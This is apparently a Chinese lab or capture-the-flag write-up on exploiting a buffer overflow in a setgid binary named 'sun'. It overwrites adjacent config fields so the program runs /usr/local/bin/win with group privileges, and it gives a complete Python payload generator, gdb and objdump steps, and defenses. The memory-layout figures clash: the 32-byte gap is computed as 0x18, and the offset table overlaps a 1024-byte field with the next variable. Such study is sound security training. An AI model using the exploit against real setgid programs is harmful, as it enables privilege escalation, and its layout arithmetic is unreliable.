缓冲区溢出覆盖data
以下是针对这次 缓冲区溢出 (Buffer Overflow) 攻击的解题心得,包括 分析过程、漏洞利用、以及缓解策略,帮助你总结经验并提升你的二进制漏洞挖掘和利用能力。
缓冲区溢出 (Buffer Overflow) 解题心得
1. 题目分析
本次挑战涉及 二进制逆向 (Reverse Engineering) 和 数据内存破坏攻击 (Data-only Memory Corruption Attack)。通过分析 sun 程序的行为,我们的目标是 利用内存溢出漏洞,执行 /usr/local/bin/win 并提升权限。
核心信息包括:
sun程序的setgid权限,使其以prog10组运行。- 需要找到 可利用的漏洞,通常是缓冲区溢出 (Buffer Overflow)。
- 通过分析程序内存布局,我们可以 覆盖关键变量,最终绕过限制并执行目标代码。
2. 代码逆向与漏洞分析
使用 gdb 和 objdump 分析程序的汇编指令和栈布局,发现:
config结构体在%ebp - 0x428位置,占用 1040 字节 (1024 + 4 + 4 + 8)。buf[MAX_LEN]在%ebp - 0x848,占用 1024 字节。buf和config之间 间隔 32 字节 (0x448 - 0x428 = 0x18)。
关键问题
read_file(buf, argv[1])读取文件内容,没有边界检查。- 如果
buf过长,可以 覆盖config结构体内容,修改user、group和hydrogen变量。
利用方法
- 构造一个 超长的输入,覆盖
config.user、config.group和config.hydrogen,让程序误以为当前用户已经满足条件。 - 这样
check_sun()函数就会成功调用it_is_time(),最终 执行/usr/local/bin/win。
3. 构造恶意 Payload
基于分析,我们需要构造如下 Payload:
| 变量 | 偏移量 (ebp - x) | 大小 | 填充值 |
|---|---|---|---|
buf |
-0x848 |
1024 | A * 1024 (填充数据) |
| 间隔区域 | -0x448 |
32 | \x00 * 32 (避免破坏其他数据) |
config.processor |
-0x428 |
1024 | "/usr/local/bin/win" (目标程序路径) |
config.user |
-0x424 |
4 | 伪造 user ID (6084) |
config.group |
-0x420 |
4 | 伪造 group ID (1012, prog10) |
config.hydrogen |
-0x418 |
8 | 设为 2024 (确保 check_sun 通过) |
优化后的 Python Exploit 代码:
import struct
# 目标程序路径
EXEC_PATH = b"/usr/local/bin/win"
EXEC_PATH_LEN = len(EXEC_PATH)
# 设定缓冲区大小
BUFFER_SIZE = 1024
PADDING_SIZE = 32
# 需要覆盖的字段值
USER_ID = 6084
GROUP_ID = 1012
HYDROGEN = 2024
# 构造 payload
payload = b"A" * BUFFER_SIZE # 填充缓冲区
payload += b"\x00" * PADDING_SIZE # 间隔填充
payload += EXEC_PATH # 插入目标可执行文件路径
payload += b"\x00" * (BUFFER_SIZE - EXEC_PATH_LEN) # 补齐 buffer
payload += struct.pack("<I", USER_ID) # 伪造 user ID
payload += struct.pack("<I", GROUP_ID) # 伪造 group ID
payload += struct.pack("<Q", HYDROGEN) # 设定 hydrogen 值
# 写入 payload 到文件
def save_payload(filename="payload"):
with open(filename, "wb") as f:
f.write(payload)
print(f"[+] Exploit payload written to '{filename}' ({len(payload)} bytes)")
# 运行
if __name__ == "__main__":
save_payload()
4. 执行攻击
攻击步骤:
- 生成 payload:
python3 exploit.py - 运行
sun并提供 payload:/usr/local/bin/sun payload - 如果成功,
sun会执行/usr/local/bin/win,并以prog10组权限运行,返回token。
5. 关键知识点总结
(1)程序内存布局
- 使用
gdb/objdump(这道题用了objdump) 确定 关键变量的地址(如config和buffer)。 - 了解 变量在栈上的布局,确保 payload 能 覆盖正确的变量。
(2)缓冲区溢出 (Buffer Overflow)
- 典型溢出场景:
char buf[1024]; fgets(buf, 2048, stdin);→ 无边界检查,可能溢出。strcpy(dst, src);→src过长可能覆盖dst之后的变量。
- 避免溢出的两种方式:
- 代码层面:使用
strncpy(),fgets()指定长度。 - 系统层面:启用 ASLR、Stack Canaries、DEP 等防护。
- 代码层面:使用
(3)如何逆向二进制
objdump -d sun获取汇编代码,分析lea、call指令传递的地址。gdb sun运行break check_sun观察执行逻辑:break check_sun run payload x/20x $ebp-0x848 # 查看 buffer 及 config 结构体strings sun查找硬编码字符串,如"/usr/local/bin/win"。
(4)提权与 setgid
sun具有setgid,运行时继承prog10组权限。- 我们需要修改
config.group以欺骗程序,使其执行win。
6. 可能的防御措施
(1)启用 ASLR
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
ASLR 会随机化堆栈地址,使溢出攻击更困难。
(2)编译时启用 Stack Canaries
gcc -fstack-protector-all -o sun sun.c
Stack Canaries 保护返回地址不被覆盖。
(3)避免 setgid 二进制
尽可能避免 setgid 程序,使用 sudo 控制权限。
7. 总结
本次挑战提供了一个 经典的缓冲区溢出漏洞,通过逆向工程分析程序的内存布局,我们成功构造了 数据覆盖攻击 (Data-Only Attack),绕过了权限限制,最终执行了 /usr/local/bin/win 并获取 token。
这次实战强化了 gdb 调试、汇编分析、内存溢出利用、以及提权技术,是非常宝贵的二进制安全经验。🔥💻
希望这篇心得可以帮助你更深入地理解 二进制漏洞利用,并提升你的 逆向分析 和 安全研究能力!🚀

浙公网安备 33010602011771号